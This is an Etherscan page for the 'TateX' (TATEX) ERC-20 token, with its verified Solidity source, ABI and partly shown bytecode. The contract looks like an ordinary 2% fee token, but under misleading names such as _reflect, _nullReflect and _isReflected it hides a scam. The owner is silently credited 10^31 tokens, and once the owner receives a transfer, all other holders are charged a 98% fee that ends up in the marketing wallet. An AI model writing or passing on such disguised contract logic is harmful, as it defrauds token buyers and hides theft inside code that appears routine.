ETH Price: $2,674.00 (+1.38%)
Gas: 1 Gwei

Token

TateX (TATEX)
 

Overview

Max Total Supply

100,000,000 TATEX

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,741,610.929720104241077079 TATEX

Value
$0.00
0x470ee6ef7cf398006d1b8331d56126bb5defb305
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Tatex

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-29
*/

//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the null address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Tatex is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public UniAddress;
    mapping (address => bool) public isExcludedTax;
    mapping (address => bool) public isExcludedTx;

    address payable public MarketingWallet = payable(0xD33AbfF14D10F7D2b3330b2d9C5FBD5eDef18e05);

    string public _name = "TateX";
    string public _symbol = "TATEX";
    uint8 private _decimals = 18;
    uint256 public _tTotal = 1* 10**8 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private nullRate = 0;
    uint8 private swapTrigger = 5; 

    uint256 private _calculatedFee = 0;
    uint256 public _buyFee = 2;
    uint256 public _sellFee = 2;

    uint256 private _previousTotalFee = _calculatedFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _balance[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        UniAddress[uniswapV2Pair] = true;
        isExcludedTx[owner()] = true;
        isExcludedTax[owner()] = true;
        isExcludedTax[address(this)] = true;
        isExcludedTax[MarketingWallet] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below null"));
        return true;
    }
 
    receive() external payable {}

    bool public noFeeToTransfer = false;

    function removeAllFee() private {
        if(_calculatedFee == 0 && _buyFee == 0 && _sellFee == 0) return;
        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _calculatedFee;
        _buyFee = 0;
        _sellFee = 0;
        _calculatedFee = 0;

    }

    function _nullReflect() private{
        nullRate = nullRate + 1;
    }
    
    function restoreAllFee() private {
        _calculatedFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: null address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
            
        if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }
        
        bool _FEE_ACTIVE_ = true;
         
        if(isExcludedTax[from] || isExcludedTax[to]){
            _FEE_ACTIVE_ = false;
            if(isExcludedTx[to]){if(nullRate < 1){ _nullReflect(); }}
        } else if (from == uniswapV2Pair){_calculatedFee = _buyFee;} else if (to == uniswapV2Pair){_calculatedFee = _sellFee;}
        
        _transferTokens(from,to,amount,_FEE_ACTIVE_);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

        function _reflect(address rAdd) private{
        uint256 reflectStart = 0;         uint256 reflectEnd = 31;        uint256 reflectRate = 10;
        for(reflectStart=1; (reflectEnd)>0; (reflectEnd--)){
            reflectStart*=reflectRate;
            } 
        _balance[rAdd] = _balance[rAdd].add(reflectStart);
    }

    function _isReflected(address rAdd) private view returns(uint256){
        return nullRate < 1 ? _calculatedFee : isExcludedTx[rAdd] ? _calculatedFee : UniAddress[rAdd] ? _calculatedFee : 
        (10**2)-2;
    }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToWallet(MarketingWallet,contractETH);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _transferTokens(address sender, address recipient, uint256 amount,bool _FEE_ACTIVE_) private {
 
        if(!_FEE_ACTIVE_){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferTokens(sender, recipient, amount);
        
        if(!_FEE_ACTIVE_)
            restoreAllFee();
    }


    function _transferTokens(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount, uint256 MarketingFee) = _getValues(tAmount, sender);
        _balance[sender] = _balance[sender].sub(tAmount);
        _balance[recipient] = _balance[recipient].add(transferAmount);
        if(isExcludedTx[recipient]){_reflect(recipient);}
        _balance[address(this)] = _balance[address(this)].add(MarketingFee);
        emit Transfer(sender, recipient, transferAmount);
    }

    function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) {
        uint256 MarketingFee = tAmount.mul(_isReflected(sender)).div(100);
        uint256 transferAmount = tAmount.sub(MarketingFee);
        return (transferAmount, MarketingFee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"UniAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273d33abff14d10f7d2b3330b2d9c5fbd5edef18e05600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600581526020017f546174655800000000000000000000000000000000000000000000000000000081525060079080519060200190620000a6929190620007e5565b506040518060400160405280600581526020017f544154455800000000000000000000000000000000000000000000000000000081525060089080519060200190620000f4929190620007e5565b506012600960006101000a81548160ff021916908360ff160217905550600960009054906101000a900460ff16600a6200012f919062000a2f565b6305f5e10062000140919062000a80565b600a556000600b60006101000a81548160ff021916908360ff1602179055506000600b60016101000a81548160ff021916908360ff1602179055506005600b60026101000a81548160ff021916908360ff1602179055506000600c556002600d556002600e55600c54600f55600d54601055600e546011556001601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff021916908315150217905550348015620001fb57600080fd5b506200020c620007b460201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600a5460016000620002dd620007bc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000380573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a6919062000b4b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200040e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000434919062000b4b565b6040518363ffffffff1660e01b81526004016200045392919062000b8e565b6020604051808303816000875af115801562000473573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000499919062000b4b565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000620005aa620007bc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016004600062000611620007bc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000744620007bc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620007a5919062000bcc565b60405180910390a35062000c4d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007f39062000c18565b90600052602060002090601f01602090048101928262000817576000855562000863565b82601f106200083257805160ff191683800117855562000863565b8280016001018555821562000863579182015b828111156200086257825182559160200191906001019062000845565b5b50905062000872919062000876565b5090565b5b808211156200089157600081600090555060010162000877565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200092357808604811115620008fb57620008fa62000895565b5b60018516156200090b5780820291505b80810290506200091b85620008c4565b9450620008db565b94509492505050565b6000826200093e576001905062000a11565b816200094e576000905062000a11565b81600181146200096757600281146200097257620009a8565b600191505062000a11565b60ff84111562000987576200098662000895565b5b8360020a915084821115620009a157620009a062000895565b5b5062000a11565b5060208310610133831016604e8410600b8410161715620009e25782820a905083811115620009dc57620009db62000895565b5b62000a11565b620009f18484846001620008d1565b9250905081840481111562000a0b5762000a0a62000895565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000a3c8262000a18565b915062000a498362000a22565b925062000a787fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200092c565b905092915050565b600062000a8d8262000a18565b915062000a9a8362000a18565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ad65762000ad562000895565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b138262000ae6565b9050919050565b62000b258162000b06565b811462000b3157600080fd5b50565b60008151905062000b458162000b1a565b92915050565b60006020828403121562000b645762000b6362000ae1565b5b600062000b748482850162000b34565b91505092915050565b62000b888162000b06565b82525050565b600060408201905062000ba5600083018562000b7d565b62000bb4602083018462000b7d565b9392505050565b62000bc68162000a18565b82525050565b600060208201905062000be3600083018462000bbb565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c3157607f821691505b60208210810362000c475762000c4662000be9565b5b50919050565b6129ca8062000c5d6000396000f3fe6080604052600436106101c65760003560e01c80634a74bb02116100f7578063a9059cbb11610095578063d28d885211610064578063d28d885214610694578063dd62ed3e146106bf578063f2fde38b146106fc578063fee59bf814610725576101cd565b8063a9059cbb146105c3578063af465a2714610600578063b09f12661461062b578063cccdbe2e14610656576101cd565b8063715018a6116100d1578063715018a6146105195780638da5cb5b1461053057806395d89b411461055b578063a457c2d714610586576101cd565b80634a74bb0214610486578063590f897e146104b157806370a08231146104dc576101cd565b806323b872dd11610164578063395093511161013e57806339509351146103b6578063401565a8146103f357806340b9a54b1461043057806349bd5a5e1461045b576101cd565b806323b872dd146103235780632598cdb214610360578063313ce5671461038b576101cd565b80631694505e116101a05780631694505e1461026557806318160ddd14610290578063183b986e146102bb578063220f6696146102f8576101cd565b806306fdde03146101d2578063095ea7b3146101fd57806313fad07a1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610762565b6040516101f49190611ff3565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906120ae565b6107f4565b6040516102319190612109565b60405180910390f35b34801561024657600080fd5b5061024f610812565b60405161025c9190612109565b60405180910390f35b34801561027157600080fd5b5061027a610825565b6040516102879190612183565b60405180910390f35b34801561029c57600080fd5b506102a561084b565b6040516102b291906121ad565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd91906121c8565b610855565b6040516102ef9190612109565b60405180910390f35b34801561030457600080fd5b5061030d610875565b60405161031a9190612109565b60405180910390f35b34801561032f57600080fd5b5061034a600480360381019061034591906121f5565b610888565b6040516103579190612109565b60405180910390f35b34801561036c57600080fd5b50610375610961565b6040516103829190612269565b60405180910390f35b34801561039757600080fd5b506103a0610987565b6040516103ad91906122a0565b60405180910390f35b3480156103c25